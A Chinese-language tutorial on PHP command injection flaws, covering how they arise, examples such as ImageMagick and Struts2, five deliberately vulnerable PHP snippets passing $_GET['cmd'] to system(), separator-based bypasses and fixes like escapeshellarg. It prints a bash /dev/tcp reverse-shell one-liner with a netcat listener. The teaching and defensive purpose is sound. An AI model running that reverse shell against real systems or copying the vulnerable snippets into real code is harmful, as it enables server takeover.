一、背景介绍
当应用(网络设备例如:家用路由器,DNS服务器等等)需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system、exec、shell_exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成任意命令执行攻击。主要以PHP为主介绍命令执行漏洞。
二、漏洞成因
脚本语言(如PHP)优点是简洁、方便,但也伴随着一些问题,如速度慢、无法接触系统底层,如果我们开发的应用(特别是企业级的一些应用)需要一些除去web的特殊功能时,就需要调用一些外部程序。(调用外部程序,参数可控,没有过滤)
在php中可以调用外部程序的常见函数:system().exec().shell_exec().passthru().popen().proc_popen()
system(‘ping 127.0.0.1 & ifconfig‘) 加上&符号表示,执行前一句之后紧接着执行&后面的。还有| || ; & &&
成因:有这些函数 并且参数可控 参数没有过滤 就一定存在任意命令执行漏洞。
三、漏洞分类
1.代码层过滤不严格
一些商业应用需要执行命令,商业应用的一些核心代码可能封装在二进制文件中,在web应用中通过system函数来调用之:system("/bin/program aaarg $arg")
2.系统的漏洞造成系统命令执行注入
3.调用第三方组件存在代码执行漏洞
很典型的就是wordpress中,可以选择使用ImageMagick这个常用的图片处理组件,对用户上传的图片进行处理(默认是ImageMagick库),造成命令执行。
另外,JAVA中的命令执行漏洞(struct2必会/Elasticsearch Groovy等)很常见。
四、漏洞危害
1.继承web应用服务器的权限,去执行系统命令。
2.继承web应用服务器的权限,读写文件。
3.反弹shell(监听端口 nc -l -p 8888,让服务器去主动连接监听的端口,wooyun文章linux后门) bash -i > & /dev/tcp/IP/8888 0 > &1 需要有一个外网IP
4.控制整个网站
5.甚至控制整个服务器
6.可以进一步内网渗透等
五、漏洞利用
典型的漏洞代码1:
<?php $cmd=$_GET[‘cmd‘]; system($cmd); ?>
把上述代码搭建到本地进行测试:
典型的漏洞代码2:
<?php $cmd=$_GET[‘cmd‘]; system("ping ".$cmd); ?>
典型的漏洞代码3:
<?php $cmd=$_GET[‘cmd‘]; system("ping -n ".$cmd); ?>
典型漏洞代码4:
<?php $cmd=$_GET[‘cmd‘]; system("ping -n \"$cmd\""); ?>
这里是构造闭合,||的用法是执行对一句,就不再往下执行了,由题知没有给-n 传参,所以ping -n执行有错,继续向下执行whoami命令,这句执行成功之后不再往下执行,所以就是以上效果。
典型漏洞代码5:
<?php $cmd=$_GET[‘cmd‘]; system("ping -n ‘$cmd‘"); ?>
六、过滤绕过
; & | 构造闭合 绕过过滤 执行命令
七、修复方案
1.能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用之。
2.对于可控点是程序参数的情况,使用escapeshellcmd函数进行过滤。
3.对于可控点是程序参数的值的情况,使用escapeshellarg函数进行过滤。
4.参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义。
八、总结
前提:
代码中存在调用系统命令的函数
代码中存在我们可控的点
这个点没有经过过滤
函数中存在我们可控点:
1.直接是待执行的程序
2.传入程序的整个参数
3.传入程序的某个参数的值(无引号包裹)
4.传入程序的某个参数的值(有双引号包裹)
5.传入程序的某个参数的值(有单引号包裹)
过滤可能:
可能过滤单个特殊符号
可能针对不同可控点,使用php自带的函数进行过滤(escapeshellarg(2,3情况)\addslashes(4,5情况))。